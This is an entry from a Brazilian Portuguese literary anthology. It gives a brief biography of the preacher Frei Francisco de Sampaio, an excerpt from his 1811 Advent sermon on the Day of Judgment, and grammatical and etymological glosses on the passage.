FREI FRANCISCO DE SANTA TERESA DE JESUS SAMPAIO

FREI FRANCISCO DE SANTA TERESA DE JESUS SAMPAIO (Rio, 1 778-1830) entrou com quinze anos para a Ordem franciscana e mereceu honras de pregador régio. Além do Atlântico voou a sua fama de exímio orador sacro; tanto assim que foi sócio correspondente da Academia de Belas-Letras de Munique. O Sr. Dr. Ramiz Galvão, no seu estudo O púlpito no Brasil, coloca Sampaio na primeira plana dos nossos pregadores, considerando-o superior a Fr. S. Carlos, no que discorda do cónego Fernandes Pinheiro.

Dies Irae

São tão insuportáveis os efeitos de uma desgraça extraordinária que o homem chega a ponto de preferir-lhe a morte, para se livrar do tormento que o assassina; a morte, que é sempre tão temida, parece então doce e suave; invejam-se (313) os mesmos horrores do sepulcro; e o infeliz deseja lançar fora de si o peso da vida, que o acabrunha. Tal é a idéia que o Espírito–Santo nos dá do terror que conceberemos em o dia das vinganças eternas; êle nos pinta os mortos procurando outra vez as sombras dos sepulcros donde saíram; os vivos pedindo aos montes que caiam sobre eles, escondendo-se nas entranhas dos rochedos; outros, amaldiçoando as estrelas que brilharam no dia de seu nascimento, ou desejando achar no inferno um asilo, para evitarem a majestosa presença do Juiz Supremo, que aparece nas nuvens. Sim, meus irmãos, qual será o vosso espanto quando ouvirdes bramindo no céu a voz d’Aquêle, que nos servia de escudo contra a indignação de seu Pai? quando virdes erguer–se esse trono de chamas onde Daniel faz aparecer o Antigo dos dias (314); quando virdes o mundo em ruínas servindo de troféu à onipotência de seu Deus, temível em sua cólera? Qual será o vosso terror, quando vos virdes diante de um Deus que vós desprezastes quando êle vos procurava como amigo, e do qual nãc podeis fugir, mostrando-se como vosso juiz? quando virdes as potências que cingem o trono de Deus, tremendo assim como tremem, diz S. Agostinho, os validos (315) dos soberanos do mundo, quando estes pronunciam sentença de morte contra os céus de sua majestade; quando virdes a misericórdia com as mãos ligadas, porque não vos pôde valer, os Santos, que eram vossos intercessores, pedindo vingança contra vós, empunhando espadas de dois gumes para castigarem as nações e algemarem os grandes dentre o povo; quando virdes entre fachas de fogo a cruz de Jesu-Cristo ainda avermelhada pelo sangue da Redenção; a cruz que vós calcastes (316), pondo sobre o altar, que lhe competia, os ídolos (317) do vosso culto; a cruz que Jcsu–Cristo vos ofereceu como uma escada para subirdes às portas desse reino, como troféu para honrar vossas vitórias; quando virdes em o corpo de Jesu-Cristo ainda impressas, as cicatrizes da sua morte, então convertidas em testemunho de vossa reprovação eterna; quando virdes…

O’ céus! O’ Deus! (318) quem poderá descrever o aparato de vossa Igreja nesse dia? Vinde em meu socorro, ilustres Padres da Igreja, discípulos da Sabedoria incriada, dizei vós mesmos o que pensastes sobre este dia. Eu tremo, diz Santo Anselmo, quando me apresento diante deste tribunal, vendo de uma parte os pecados acusando-me dos deleites que eu gozava, de outra a justiça, impondo-me silêncio, ou rejeitando minhas escusas; (319); debaixo dos meus pés a garganta do abismo aberta para me engolir; de cima um Juiz que não se dobra nem a lágrimas, nem a súplicas; no meu interior, a consciência atassalhando-me; fora, o mundo em chamas. Eu tremo, diz S. Bernardo, contemplando (320) na face deste Deus irado, sentindo os efeitos de sua cólera, os sinais do seu furor, ouvindo a voz do Arcanjo, que reanima as cinzas de todos os mortos desde o oriente até ao ocidente; vendo estes leões famintos que aguçam na terra as unhas, para estrangularem mais depressa suas vítimas; e eu me horrorizo quando considero neste inseto, que se nutrirá nas entranhas do pecador, sem nunca morrer. Será nesse dia, continua o mesmo Padre, que tudo quanto agora nos parece oiro, se Converterá em espuma; que conheceremos a impureza de nossas tções; será ali que os ídolos do nosso coração, rebelando-se i outra nós, agravarão ainda mais o peso de nossas desgraças. Ah! se eu tivesse mil fontes de lágrimas, ainda seriam poucas para prevenir estas lágrimas eternas. Eu tremo, diz S. Gregório Na-zianzeno, quando se me apresenta o dia em que Jesu-Cristo entrará comigo em juízo, convencendo-me de crimes que eu julgava perdoados, apresentando-me em face os meus pecados como acusadores, opondo contra as minhas iniquidades os benefícios que recebi dele; pedindo-me conta da formosura de sua imagem, impressa sobre mim e desfigurada pelas nódoas mais vergonhosas; obrigando-me, enfim, a pronunciar a sentença contra mim mesmo, para que eu não possa queixar-me de que sofro injustamente.

Quem me servirá de advogado diante deste Juiz? Com que pretexto, com que falsas escusas, com que artificiosas cores, com que invenções sutis poderei disfarçar a verdade na presença deste soberano tribunal, onde tudo será contra mim e nada em meu favor? Ah! pronunciada a sentença, à vista da balança em que forem pesadas minhas ações, eu não terei outro juízo para onde apelar, não terei meios de destruir por nova conduta o mal que fiz: expirou o tempo; caiu um véu de chamas sobre a cena onde eu representava; eis a porta da eternidade. Que nova perspectiva!

(Sermão do 1.° Domingo do Advento de 1811, na capela real).

Glossário Gramatical

(313) — se — pronome apassivador.
(314) o Antigo dos dias =
Deus na Bíblia (Livro de Daniel, cap. 7, vr. 9 e 13).
(315) valido — V.
n. 173.
(316) calcar, do lat. calcare, pisar, espezinhar, da raiz de calx, calcanhar, pé.
(317) ídolo — exemplo de desíocação da tônica: no gr. eídõlon, no lat., de onde veio, idülum. Outros casos de mudança do icto originário, na passagem para o português: limite, regime, oceano, sibilo, orgia; nível, pântano, míope, anúria etc. O princípio geral é a persistência da tônica de origem.
(318) ó céus! ó Deus! — apóstrofe. A interjeição — ó — é vocativa e pode vir latente. O vocativo pode ser subjetivo, quando ligado ao sujeito; "Ide, disse a rainha, ó par ditoso" (Durão, Caramuru, VII, 16); objetivo, quando preso ao objeto direto ou indireto: "Amo-te, ó cruz, no vértice firmada / de esplêndidas igrejas" (Herculano); "Dar-íe-ei, Senhor ilustre, relação / de mi, da lei, das armas que trazia" (Lus., I, 64); e independente: "Deixo, deuses, atrás a fama antiga / que co’a gente de Rómulo alcançaram" . (Ibid, I, 26). O oh! ê meramente exclamativo.
(319) — escusa — deverbal de escusar, lat. excusare (ex -f causa), propriamente
pôr tora de causa, dispensar, desculpar O — x — do pref. ex tende a alterar-se em — s —, como se vê em esfregar, escarchar, esmerar, esmagar, espremer, esquecer, esquisito, estrondo, esperto, espreitar, esfolar, etc. O francês e o inglês conservam o — x.
(320) contemplando — aí é refletindo, pensando, meditando, mais do que vendo: sentido que apresenta igualmente, poucas linhas adiante, a forma verbal considero. V. n. 62.

 Veja mais recursos sobre este autor no site no manual de Artur Mota.

 


Seleção e Notas de Fausto Barreto e Carlos de Laet. Fonte: Antologia nacional, Livraria Francisco Alves.

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